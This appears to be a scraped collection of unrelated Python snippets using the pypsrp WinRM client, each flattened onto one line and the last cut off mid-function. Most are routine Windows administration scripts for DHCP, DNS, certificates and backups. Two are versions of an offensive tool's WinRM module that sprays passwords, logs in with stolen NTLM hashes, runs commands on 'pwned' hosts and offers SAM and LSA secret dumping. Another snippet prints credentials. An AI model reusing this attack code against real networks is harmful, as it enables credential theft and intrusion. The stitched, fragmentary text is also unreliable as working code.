def login(self): self.complete = False # Used to keep loop going if entered credentials are wrong while not self.complete: try: self.user = input("Enter your username: ") self.password = getpass() # Test credentials by running simple cmd on the DHCP server conn = Client(dhcp_svr, username=self.user, password=self.password, ssl=False) conn.execute_cmd('ipconfig') self.menu() # Runs next function (6) except Exception as e: # If login fails loops to begining displaying this error message print(e)
def exec(): client = Client("192.168.1.119", ssl=False, username="******", password="******") try: # cmd = "tasklist" # cmd = "taskkill /im MEGAsync.exe /f" cmd = "logoff 1" # cmd = 'powershell -Command {"{0:N2} MB" -f ((Get-ChildItem C:\\Users\\os\AppData\\Local\\Microsoft -Recurse | Measure-Object -Property Length -Sum -ErrorAction Stop).Sum / 1MB)}' # cmd = 'powershell -Command {Install-Module PSFolderSize}' # cmd = 'powershell -Command {Ps-FolderSize -Path "C:\\Users\\os\AppData\\Local\\Microsoft" }' # cmd = 'dir' # cmd = "taskkill /im bash.exe /f" stdout, stderr, rc = client.execute_cmd(cmd) except (WSManFaultError, ConnectionError, WinRMTransportError, AuthenticationError, ReadTimeout): print( "[!] ERROR WSManFaultError or ConnectionError or WinRMTransportError, AuthenticationError, ReadTimeout" ) return -1 # stdout, stderr, rc = client.execute_cmd("tasklist") print(stdout) print(stderr)
def WindowsConnect(DC, UN, PWD, COMMANDS): dc_client = Client(DC, username=UN, password=PWD, cert_validation=False, ssl=False) dc_date = dc_client.execute_cmd(COMMANDS) dc_date = dc_date[0].strip() return dc_date
def ExecCmd(dc, un, pwd, commands): dc_client = Client(dc, username=un, password=pwd, cert_validation=False, ssl=False) output = dc_client.execute_cmd(commands) output = output[0].strip() return output
def GetTime(dc): dc_client = Client(dc, username=svc_act_un, password=svc_act_pwd, cert_validation=False, ssl=False) dc_time = dc_client.execute_cmd('powershell.exe date') dc_time = dc_time[0].strip() return dc_time
class WinRMScan: def __init__(self, hostname, timeout): self.hostname = hostname self.timeout = timeout self.conn = None #TODO: use requests to check in http server for winrm is running def auth(self, domain=None, username=None, password=None, hash=None): if not username: raise AuthFailure('Username not specified') if not password and not hash: raise AuthFailure('Password or hash not specified') if not domain: domain = 'WORKGROUP' if hash != None and not ':' in hash: lmhash = '00000000000000000000000000000000:' hash = lmhash + hash try: if password: self.conn = Client(self.hostname, auth='ntlm', username=username, password=password, ssl=False, connection_timeout=self.timeout) else: self.conn = Client(self.hostname, auth='ntlm', username=username, password=hash, ssl=False, connection_timeout=self.timeout) # check if it works self.conn.execute_ps("hostname") return True except Exception as e: print('%s: %s' % (type(e), e)) return False def execute(self, command, get_output=False): try: r = self.conn.execute_cmd(command) except: r = self.conn.execute_ps(command) return r[0] def ps_execute(self, command, get_output=False): r = self.conn.execute_ps(command) return r[0] def disconnect(self): pass
def get_psr(config): errors = 0 results = [] try: ssl = config['protocol'].split('/')[1] except Exception as e: ssl = "" for member in config['members'].split(','): res = "" try: if ssl: client = Client(member, ssl=True, auth="ntlm", cert_validation=False, connection_timeout=3, username=config['user'], password=config['password']) else: client = Client(member, ssl=False, auth="ntlm", cert_validation=False, connection_timeout=3, username=config['user'], password=config['password']) stdout, stderr, _rc = client.execute_cmd(REMCMD) if "decode" in dir(stdout): res = stdout.decode() err = stderr.decode() else: res = stdout err = stderr if err: print("get_psr: {} -> err: {}".format(config, err), file=sys.stderr) errors += 1 except Exception as e: print("get_psr: Connect to {} failed: {}".format( member, e.args[0]), file=sys.stderr) errors += 1 results.append(res) return errors, config, results
class Dns(): def __init__(self, dns_svr, user, password, csv_dns_dm): self.dns_svr = dns_svr self.user = user self.password = password self.csv_dns_fw_dm = csv_dns_dm[0] self.csv_dns_rv_dm = csv_dns_dm[1] # WSman connection used to run powershell cmds on windows servers self.wsman_conn = WSMan(self.dns_svr, username=self.user, password=self.password, ssl=False) self.client_conn = Client(self.dns_svr, username=self.user, password=self.password, ssl=False) ###################################### FAILFAST ###################################### # Check if zones exist on DNS server def failfast(self): all_zones, bad_zones = ([] for i in range(2)) # Create combined list of all forward and reverse zones for csv_dict in self.csv_dns_fw_dm: for zone in csv_dict.keys(): all_zones.append(zone) for csv_dict in self.csv_dns_rv_dm: for zone in csv_dict.keys(): all_zones.append(zone) # Interate through all zones and see if exist on DNS server for zone in all_zones: with RunspacePool(self.wsman_conn) as pool: print('-', zone) ps = PowerShell(pool) # The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0" ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerZone {}".format(zone)) ps.add_cmdlet("Out-String").add_parameter("Stream") ps.invoke() dns_zones = ps.output if len(dns_zones) == 0: bad_zones.append(zone) # If any of the scopes dont not exist values are returned to main.py (which also casues script to exit) if len(bad_zones) != 0: return '!!! Error - The following zones dont exist on the DNS server: \n{}'.format(bad_zones) ###################################### Get DNS reservations ###################################### def get_entries(self): dns_fw_dm, dns_rv_dm = ([] for i in range(2)) # On a per-zone basis gets all the current DNS entries that will then be compared to those in the CSV for csv_dns_fw in self.csv_dns_fw_dm : for domain in csv_dns_fw.keys(): with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) # The powershell cmd is "Get-DnsServerResourceRecord -ZoneName stesworld.com -RRType A" ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerResourceRecord -ZoneName {} -RRType A".format(domain)) ps.add_cmdlet("Out-String").add_parameter("Stream") ps.invoke() dns_fw_records = ps.output # From the ps output create a list for the dns_fw DM dict value [('ip', 'name', ttl)] ip_name_ttl = [] if len(dns_fw_records) == 0: # skips if no A records in the zone pass else: for a in dns_fw_records[3:-2]: # Elimates headers and trailing blank lines a = a.split() ip_name_ttl .append((a[-1], a[0].lower(), a[-2])) # Add the list as the value for for a dict where the zone name is the key [{fw_zone: [(ip, name, ttl)]}] dns_fw_dm.append({domain: ip_name_ttl}) # On a per-reverse-zone basis gets all the current DNS entries that will then be compared to those in the CSV for csv_dns_rv in self.csv_dns_rv_dm: for rev_zone in csv_dns_rv.keys(): with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) ps.add_cmdlet("Invoke-Expression").add_parameter("Command", "Get-DnsServerResourceRecord -ZoneName {} -RRType PTR".format(rev_zone)) ps.add_cmdlet("Out-String").add_parameter("Stream") ps.invoke() dns_rv_records = ps.output hst_name = [] if len(dns_rv_records) == 0: # skips if no PTR records in the zone pass else: for ptr in dns_rv_records[3:-2]: ptr = ptr.split() hst_name.append((ptr[0], ptr[-1].lower())) dns_rv_dm.append({rev_zone: hst_name}) # creates DM where rv_zone name is the key [{rv_zone: [(host, domain_name)]}] return [dns_fw_dm, dns_rv_dm] ###################################### Compare new Vs current resv ###################################### def verify_csv_vs_svr(self, dns_dm): dns_fw_dm = dns_dm[0] dns_rv_dm = dns_dm[1] csv_name, csv_rv_name, dns_fw_name, dns_rv_name, used_fw_fqdn, used_rv_fqdn = ([] for i in range(6)) # Create a list tuples of all FQDNs from CSV DMs (zone, fqdn) for dict_domain in self.csv_dns_fw_dm: domain = '.' + list(dict_domain.keys())[0] for all_values in dict_domain.values(): for each_value in all_values: csv_name.append((list(dict_domain.keys())[0], each_value[1] + domain)) for dict_domain in self.csv_dns_rv_dm: for all_values in dict_domain.values(): for each_value in all_values: csv_rv_name.append((list(dict_domain.keys())[0], each_value[1])) # Create a list tuples of all FQDNs from DNS DMs (zone, fqdn) for dict_domain in dns_fw_dm: domain = '.' + list(dict_domain.keys())[0] for all_values in dict_domain.values(): for each_value in all_values: dns_fw_name.append((list(dict_domain.keys())[0], each_value[1] + domain)) for dict_domain in dns_rv_dm: for all_values in dict_domain.values(): for each_value in all_values: dns_rv_name.append((list(dict_domain.keys())[0], each_value[1])) # Create list of any already used FQDNs in DNS by removing any unique values used_fw_fqdn = set(csv_name) & set(dns_fw_name) used_rv_fqdn = set(csv_rv_name) & set(dns_rv_name) used_fqdn = sorted(list(used_fw_fqdn)) + sorted(list(used_rv_fqdn)) # Compares FQDNs in CSV to FQDNs on DNS server, will list any in the CSV that are missing from DNS server missing_fw_fqdn = set(csv_name) - set(dns_fw_name) missing_rv_fqdn = set(csv_rv_name) - set(dns_rv_name) missing_fqdn = sorted(list(missing_fw_fqdn)) + sorted(list(missing_rv_fqdn)) # What is returned to main.py to kill script if any duplicates. len(csv_name) is used to compare pre and post number of entries len_csv = str(len(dns_fw_name)) + '/' + str(len(dns_rv_name)) # Number of added records in the format A/PTR output = {'len_csv': len_csv, 'used_entries': used_fqdn, 'missing_entries': missing_fqdn} return output ###################################### Creates new CSV with no scope prefix ###################################### def create_new_csv(self, type, csv_file, temp_csv): self.num_new_entries = 0 # Creates a temp csv file with header and format compatible with DNS server import. if type == 'add': with open(temp_csv, 'w') as x: writer = csv.writer(x) writer.writerow(['ZoneName','Name','IPAddress','TimeToLive']) for dict_domain in self.csv_dns_fw_dm: domain = list(dict_domain.keys())[0] for all_values in dict_domain.values(): for each_value in all_values: self.num_new_entries += 1 # Number of reservatiosn to be added writer.writerow([domain,each_value[1],each_value[0],each_value[2]]) # Dont add header on these as windows ps cmd wont understand 'ZoneName', luckily can do on position number so no need for header. elif type == 'remove': self.temp_csv1 = temp_csv.replace(".csv", "1.csv") # Extra temp file required for removing DNS RV entries with open(temp_csv, 'w') as x: writer = csv.writer(x) writer.writerow(['ZoneName','Name', 'RRType']) for dict_domain in self.csv_dns_fw_dm: domain = list(dict_domain.keys())[0] for all_values in dict_domain.values(): for each_value in all_values: self.num_new_entries += 1 # Number of reservatiosn to be added writer.writerow([domain,each_value[1],'A']) with open(self.temp_csv1, 'w') as x: writer = csv.writer(x) writer.writerow(['ZoneName','Name', 'RRType']) for dict_domain in self.csv_dns_rv_dm: domain = list(dict_domain.keys())[0] for all_values in dict_domain.values(): for each_value in all_values: writer.writerow([domain,each_value[0],'PTR']) # Used only with pytest to test new CSV file created and the contents are correct pytest_csv = [] with open(temp_csv, 'r') as x: csv_read = csv.reader(x) for row in csv_read: pytest_csv.append(row) if type == 'remove': # To test both CSVs if remove pytest_csv1 = [] with open(self.temp_csv1, 'r') as x: csv_read = csv.reader(x) for row in csv_read: pytest_csv1.append(row) return [pytest_csv, pytest_csv1] else: return pytest_csv ###################################### Adds or Removes the DHCP reservations ###################################### def deploy_csv(self, type, temp_csv, win_dir): win_dir1 = win_dir.replace(".csv", "1.csv") # Extra temp file required for removing DNS RV entries self.num_new_entries = str(self.num_new_entries) + '/' + str(self.num_new_entries) # To make it A/PTR records, should be same as deployed in the 1 cmd # Copy the new CSV File onto DHCP server, script will fail if it cant try: self.client_conn.copy(temp_csv, win_dir) if type == 'remove': self.client_conn.copy(self.temp_csv1, win_dir1) except Exception as e: # If copy fails script fails print("!!! Error - Could not copy CSV file to DNS server, investigate the below error before re-running the script.\n{}".format(e)) exit() # Add DNS entries if type == 'add': with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir)).add_cmdlet("Add-DNSServerResourceRecordA").add_parameter("-CreatePtr") ps.invoke() output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]] # Remove DNS entries, have to spilt into multiple cmds due to bug with "Remove-DNSServerResourceRecord" where cant use RRtype from CSV elif type == 'remove': with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir)).add_cmdlet("Remove-DNSServerResourceRecord").add_parameter("RRtype", "A").add_parameter("-Force") ps.invoke() output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]] # adds the errors as lists so can add outputs from next cmd with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) ps.add_cmdlet("Import-Csv").add_argument("{}".format(win_dir1)).add_cmdlet("Remove-DNSServerResourceRecord").add_parameter("RRtype", "PTR").add_parameter("-Force") ps.invoke() output[1].append(ps.had_errors) output[2].append(ps.streams.error) # Cleanup temp files try: os.remove(temp_csv) self.client_conn.execute_cmd("del {}".format(win_dir.replace("/", "\\"))) # Windows wont take / format with the cmd if type == 'remove': os.remove(self.temp_csv1) self.client_conn.execute_cmd("del {}".format(win_dir1.replace("/", "\\"))) # Windows wont take / format with the cmd except Exception as e: # If delete fails warns user print("!!! Warning - Could not delete temporary files off DNS server, you will have to do manually.\n{}".format(e)) return output
class winrm(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser]) winrm_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') winrm_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') winrm_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") winrm_parser.add_argument("--port", type=int, default=0, help="Custom WinRM port") dgroup = winrm_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') return parser def proto_flow(self): self.proto_logger() if self.create_conn_obj(): self.enum_host_info() self.print_host_info() if self.login(): if hasattr(self.args, 'module') and self.args.module: self.call_modules() else: self.call_cmd_args() def proto_logger(self): self.logger = CMEAdapter(extra={'protocol': 'WINRM', 'host': self.host, 'port': 'NONE', 'hostname': 'NONE'}) def enum_host_info(self): # smb no open, specify the domain if self.args.domain: self.domain = self.args.domain self.logger.extra['hostname'] = self.hostname else: try: smb_conn = SMBConnection(self.host, self.host, None) try: smb_conn.login('', '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass self.domain = smb_conn.getServerDNSDomainName() self.hostname = smb_conn.getServerName() self.server_os = smb_conn.getServerOS() self.logger.extra['hostname'] = self.hostname try: smb_conn.logoff() except: pass except Exception as e: logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e)) if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname def print_host_info(self): if self.args.domain: self.logger.info(self.endpoint) else: self.logger.info(u"{} (name:{}) (domain:{})".format(self.server_os, self.hostname, self.domain)) self.logger.info(self.endpoint) def create_conn_obj(self): endpoints = [ 'https://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5986), 'http://{}:{}/wsman'.format(self.host, self.args.port if self.args.port else 5985) ] for url in endpoints: try: requests.get(url, verify=False, timeout=3) self.endpoint = url if self.endpoint.startswith('https://'): self.port = self.args.port if self.args.port else 5986 else: self.port = self.args.port if self.args.port else 5985 self.logger.extra['port'] = self.port return True except Exception as e: if 'Max retries exceeded with url' not in str(e): logging.debug('Error in WinRM create_conn_obj:' + str(e)) return False def plaintext_login(self, domain, username, password): try: from urllib3.connectionpool import log log.addFilter(SuppressFilter()) self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format(domain, username), password=password, ssl=False) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True self.logger.success(u'{}\\{}:{} {}'.format(self.domain, username, password, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) if not self.args.continue_on_success: return True except Exception as e: if "with ntlm" in str(e): self.logger.error(u'{}\\{}:{}'.format(self.domain, username, password)) else: self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, username, password, e)) return False def hash_login(self, domain, username, ntlm_hash): try: from urllib3.connectionpool import log log.addFilter(SuppressFilter()) lmhash = '00000000000000000000000000000000:' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash ntlm_hash = lmhash + nthash self.hash = nthash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.conn = Client(self.host, auth='ntlm', username=u'{}\\{}'.format(domain, username), password=ntlm_hash, ssl=False) # TO DO: right now we're just running the hostname command to make the winrm library auth to the server # we could just authenticate without running a command :) (probably) self.conn.execute_ps("hostname") self.admin_privs = True self.logger.success(u'{}\\{}:{} {}'.format(self.domain, username, self.hash, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else ''))) if not self.args.continue_on_success: return True except Exception as e: if "with ntlm" in str(e): self.logger.error(u'{}\\{}:{}'.format(self.domain, username, self.hash)) else: self.logger.error(u'{}\\{}:{} "{}"'.format(self.domain, username, self.hash, e)) return False def execute(self, payload=None, get_output=False): try: r = self.conn.execute_cmd(self.args.execute) except: self.logger.debug('Cannot execute cmd command, probably because user is not local admin, but powershell command should be ok !') r = self.conn.execute_ps(self.args.execute) self.logger.success('Executed command') self.logger.highlight(r[0]) def ps_execute(self, payload=None, get_output=False): r = self.conn.execute_ps(self.args.ps_execute) self.logger.success('Executed command') self.logger.highlight(r[0])
import pypsrp from pypsrp.client import Client if True: # set global variables now = datetime.datetime.now() month = '{:02d}'.format(now.month) day = '{:02d}'.format(now.day) device_hostname = '''+DEVICE HOSTNAME HERE+''' user = r'''+MS CA USERNAME WITH DOMAIN HERE+''' pwd = '''+MS CA PASSWORD HERE+''' ca = '''+MS CA IP OR RESOLVABLE HOSTNAME HERE+''' date_format = f'{now.year}{month}{day}' csrname = f'{device_hostname}_{now.year}{month}{day}.txt' ca_drive = r'''+PATH TO DRIVE WHERE CERTIFICATES ARE MANAGED ON MS CA HERE+''' submit_command = 'certreq.exe -submit -config -' certname = f'{now.year}{month}{day}.cer' if True: # set pypsrp client connection settings to CA ca_client = Client(f"{ca}", username=f"{user}", password=pwd, cert_validation=False, ssl=False) if True: # copy csr to CA with pypsrp client # !!!applicable csr must be present in directory where this is run!!! ca_client.copy(csrname, f"{ca_drive}\\{csrname}") if True: # 'submit'/sign csr on CA with pypsrp client ca_client.execute_cmd( f'{submit_command} {ca_drive}\\{csrname} {ca_drive}\\{certname}') if True: # fetch cert from CA # !!!will put certificate in directory where this is run!!! ca_client.fetch(f"{ca_drive}\\{certname}", certname)
with open(f'{csrname}', 'w+') as csr: for l in csr_split: csr.write(l) if True: # set pypsrp client connection settings to CA ca_client = Client(ca_ip, username=f"{ca_domain}\\{ca_un}", password=ca_pwd, cert_validation=False, ssl=False) if True: # copy local csr file to CA with pypsrp client print("Copying local CSR file to CA...") ca_client.copy(csrname, f"{cert_drive}\\{csrname}") if True: # 'submit'/sign csr on CA with pypsrp client print("Signing CSR on CA...") ca_client.execute_cmd( f'certreq.exe -submit -config - {cert_drive}\\{csrname} {cert_drive}\\{certname}' ) if True: # fetch cert file from CA and store as new name locally print("Fetching new signed certificate from CA...") new_certname = f'{cn_short}_{date_format}.crt' ca_client.fetch(f"{cert_drive}\\{certname}", new_certname) if True: # read cert file to variable ## uncomment to test without CA #new_certname = f'{cn_short}_{date_format}.crt' with open(new_certname, 'r+') as cert_import: cert_lines = cert_import.readlines() if True: # import new certificate to device print("Importing new certificate to device...") for line in cert_lines: line = str(line).rstrip() connect_ssh(
backup_server_ip, username=f"{backup_server_domain}\\{backup_server_un}", password=backup_server_pwd, cert_validation=False, ssl=False) if True: # Create file directories command = subprocess.Popen('mkdir config_files', stdout=subprocess.PIPE, shell=True) run = command.communicate() command = subprocess.Popen('mkdir py_files', stdout=subprocess.PIPE, shell=True) run = command.communicate() if True: # Get list of backup files from backup server file_out = backup_server_client.execute_cmd(f'dir "{backup_drive}"') filelist = file_out[0] filelist = filelist.strip() files = filelist.splitlines() for val in files: val_list = val.split() for v in val_list: if 'F5' in v and 'txt' in v: f_split = v.split('\\') filename = str(f_split[0]) device_files.append(filename) if True: # Fetch backup files from backup server for f in device_files: backup_server_client.fetch(f'{backup_drive}\\{f}', f) command = subprocess.Popen(f'mv {f} config_files/{f}',
#!/usr/bin/env python import sys from pypsrp.client import Client def arg_check(): if len(sys.argv) < 2: print('Warning: Need to provide ip for windows instance.') sys.exit(1) if __name__ == '__main__': arg_check() server = sys.argv[1] client = Client(server, username="******", password="******", ssl=False) # execute a cmd command stdout, stderr, rc = client.execute_cmd("dir") print("stdout:{}".format(stdout)) print("stderr:{}".format(stderr)) print("rc:{}".format(rc))
# pip install pypsrp import os from pypsrp.client import Client username = os.environ["ANSIBLE_WIN_USER"] password = os.environ["ANSIBLE_WIN_PASSWORD"] print(username) print(password) # this takes in the same kwargs as the WSMan object client = Client("localhost", port=5985, ssl=False, cert_validation=False, username=username, password=password) # execute a cmd command stdout, stderr, rc = client.execute_cmd("dir") print(stdout) stdout, stderr, rc = client.execute_cmd("powershell.exe gci $pwd") print(stderr) exit() sanitised_stderr = client.sanitise_clixml(stderr) # execute a PowerShell script output, streams, had_errors = client.execute_ps('''$path = "%s" if (Test-Path -Path $path) { Remove-Item -Path $path -Force -Recurse } New-Item -Path $path -ItemType Directory''' % path) output, streams, had_errors = client.execute_ps("New-Item -Path C:\\temp\\folder -ItemType Directory") # copy a file from the local host to the remote host
class Dhcp(): def __init__(self, dhcp_svr, user, password, csv_dhcp_dm): self.dhcp_svr = dhcp_svr self.user = user self.password = password self.csv_dhcp_dm = csv_dhcp_dm # WSman connection used to run powershell cmds on windows servers self.wsman_conn = WSMan(self.dhcp_svr, username=self.user, password=self.password, ssl=False) self.client_conn = Client(self.dhcp_svr, username=self.user, password=self.password, ssl=False) ###################################### FAILFAST ###################################### # Check if scopes exist on DHCP server def failfast(self): bad_scopes = [] for csv_dict in self.csv_dhcp_dm: for scope in csv_dict.keys(): print('-', scope) # Get list of all reservations in the scope with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) # The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0" ps.add_cmdlet("Invoke-Expression").add_parameter( "Command", "Get-DhcpServerv4Scope -scopeid {}".format(scope)) ps.add_cmdlet("Out-String").add_parameter("Stream") ps.invoke() dhcp_reserv = ps.output if len(dhcp_reserv) == 0: bad_scopes.append(scope) # If any of the scopes dont not exist values are returned to main.py (which also casues script to exit) if len(bad_scopes) != 0: return '!!! Error - The following scopes dont exist on the DHCP server: \n{}'.format( bad_scopes) ###################################### Get DHCP reservations ###################################### def get_entries(self): dhcp_dm = [] # On a per-scope gets all the current DHCP addresses that will then be compared to those in the CSV for csv_dict in self.csv_dhcp_dm: for scope in csv_dict.keys(): # Get list of all reservations in the scope with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) # The powershell cmd is "Get-DhcpServerv4Reservation -scopeid 192.168.200.0" ps.add_cmdlet("Invoke-Expression").add_parameter( "Command", "Get-DhcpServerv4Reservation -scopeid {}".format( scope)) ps.add_cmdlet("Out-String").add_parameter("Stream") ps.invoke() dhcp_reserv = ps.output[ 3:-2] # Elimates headers and blank lines # From the ps output create a DHCP DM of scope: [[IP], [mac], [name], [(IP, MAC, name)]] ip_name_mac = [] if len(dhcp_reserv ) == 0: # skips if no DHCP reservations in the scope pass else: for r in dhcp_reserv: ip_name_mac.append( (r.split()[0], r.split()[3][:17].lower(), r.split()[2].lower())) dhcp_dm.append({scope: ip_name_mac}) return dhcp_dm ###################################### Compare new Vs current resv ###################################### def verify_csv_vs_svr(self, dhcp_dm): csv_ip, csv_name, csv_mac, dhcp_ip, dhcp_name, dhcp_mac, dhcp_ip_name_mac = ( [] for i in range(7)) #Create a list of IPs, domain names and MACs from each DM (CSV and from dhcp_srv) for dict_scope in self.csv_dhcp_dm: for all_values in dict_scope.values(): for each_value in all_values: csv_ip.append(each_value[0]) csv_name.append( each_value[1][:17] ) # Needed as windows limits name returned to 17 characters csv_mac.append(each_value[2]) for dict_scope in dhcp_dm: for all_values in dict_scope.values(): for each_value in all_values: dhcp_ip.append(each_value[0]) dhcp_name.append(each_value[1]) dhcp_mac.append(each_value[2]) dhcp_ip_name_mac.append( each_value) # Used in user output if conflicts # Create list of any already used IPs, names or macs in reservations by removing any unique values used_ipadd = set(csv_ip) & set(dhcp_ip) used_name = set(csv_name) & set(dhcp_name) used_mac = set(dhcp_mac) & set(csv_mac) # Creates a list of all used reservations by finding it based on IP, name and mac in original DHCP reservations variable list_from_ip, list_from_name, list_from_mac = ([] for i in range(3)) if used_ipadd != 0: for x in used_ipadd: for y in dhcp_ip_name_mac: if x == y[0]: list_from_ip.append(y) if used_name != 0: for x in used_name: for y in dhcp_ip_name_mac: if x == y[1]: list_from_name.append(y) if used_mac != 0: for x in used_mac: for y in dhcp_ip_name_mac: if x == y[2]: list_from_mac.append(y) # Creates a final list of used reservations removing any duplicates from the ip, name and mac lists used_reserv = set(list_from_ip) | set(list_from_name) | set( list_from_mac) # Compares IPs in CSV to IPs on DHCP server, will list any in the CSV that are missing from DHCP server missing_resv = set(csv_ip) - set(dhcp_ip) # What is returned to main.py to kill script if any duplicates. len(csv_name) is used to compare pre and post number of entries output = { 'len_csv': len(dhcp_ip_name_mac), 'used_entries': sorted(list(used_reserv)), 'missing_entries': sorted(list(missing_resv)) } return output ###################################### Creates new CSV with no scope prefix ###################################### def create_new_csv(self, type, csv_file, temp_csv): # # Creates a new list from the CSV with prefix removed from the scope new_csv = [] with open(csv_file, 'r') as x: csv_read = csv.reader(x) for row in csv_read: if len(row) == 0 or all( 0 == len(s) for s in row ): #If it is a blank line skips or all blank columns continue else: row[0] = (row[0].split('/')[0] ) # Removes prefix from the scope new_csv.append(row) self.num_new_entries = len( new_csv) - 1 # Number of reservatiosn to be added # Writes the new list to a temp csv file with open(temp_csv, 'w') as x: writer = csv.writer(x) for row in new_csv: writer.writerow(row) # Used only with pytest to test new CSV file created and the contents are correct pytest_csv = [] with open(temp_csv, 'r') as x: csv_read = csv.reader(x) for row in csv_read: pytest_csv.append(row) return pytest_csv ###################################### Adds or Removes the DHCP reservations ###################################### def deploy_csv(self, type, temp_csv, win_dir): # Copy the new CSV File onto DHCP server, script will fail if it cant try: self.client_conn.copy(temp_csv, win_dir) except Exception as e: # If copy fails script fails print( "!!! Error - Could not copy CSV file to DHCP server, investigate the below error before re-running the script.\n{}" .format(e)) exit() # Add or remove DHCP entries dependant on the value of the variable 'type' with RunspacePool(self.wsman_conn) as pool: ps = PowerShell(pool) if type == 'add': ps.add_cmdlet("Import-Csv").add_argument("{}".format( win_dir)).add_cmdlet("Add-DhcpServerv4Reservation") elif type == 'remove': ps.add_cmdlet("Import-Csv").add_argument("{}".format( win_dir)).add_cmdlet("Remove-DhcpServerv4Reservation") ps.invoke() output = [self.num_new_entries, [ps.had_errors], [ps.streams.error]] # Cleanup temp files os.remove(temp_csv) try: self.client_conn.execute_cmd("del {}".format( win_dir.replace( "/", "\\"))) # Windows wont take / format with the cmd except Exception as e: # If delete fails warns user print( "!!! Warning - Could not delete temporary file {} off DHCP server, you will have to do manually.\n{}" .format(win_dir, e)) return output
class winrm(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None self.output_filename = None connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser]) winrm_parser.add_argument( "-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') winrm_parser.add_argument( "--no-bruteforce", action='store_true', help= 'No spray when using file for username and password (user1 => password1, user2 => password2' ) winrm_parser.add_argument( "--continue-on-success", action='store_true', help="continues authentication attempts even after successes") winrm_parser.add_argument("--port", type=int, default=0, help="Custom WinRM port") winrm_parser.add_argument("--ssl", action='store_true', help="Connect to SSL Enabled WINRM") winrm_parser.add_argument("--ignore-ssl-cert", action='store_true', help="Ignore Certificate Verification") winrm_parser.add_argument("--laps", dest='laps', metavar="LAPS", type=str, help="LAPS authentification", nargs='?', const='administrator') dgroup = winrm_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') cgroup = winrm_parser.add_argument_group( "Credential Gathering", "Options for gathering credentials") cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems') cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems') cgroup = winrm_parser.add_argument_group( "Command Execution", "Options for executing commands") cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') return parser def proto_flow(self): self.proto_logger() if self.create_conn_obj(): self.enum_host_info() if self.print_host_info(): if self.login(): if hasattr(self.args, 'module') and self.args.module: self.call_modules() else: self.call_cmd_args() def proto_logger(self): self.logger = CMEAdapter( extra={ 'protocol': 'SMB', 'host': self.host, 'port': 'NONE', 'hostname': 'NONE' }) def enum_host_info(self): # smb no open, specify the domain if self.args.domain: self.domain = self.args.domain self.logger.extra['hostname'] = self.hostname else: try: smb_conn = SMBConnection(self.host, self.host, None) try: smb_conn.login('', '') except SessionError as e: pass self.domain = smb_conn.getServerDNSDomainName() self.hostname = smb_conn.getServerName() self.server_os = smb_conn.getServerOS() self.logger.extra['hostname'] = self.hostname self.output_filename = os.path.expanduser( '~/.cme/logs/{}_{}_{}'.format( self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) try: smb_conn.logoff() except: pass except Exception as e: logging.debug( "Error retrieving host domain: {} specify one manually with the '-d' flag" .format(e)) if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname def laps_search(self, username, 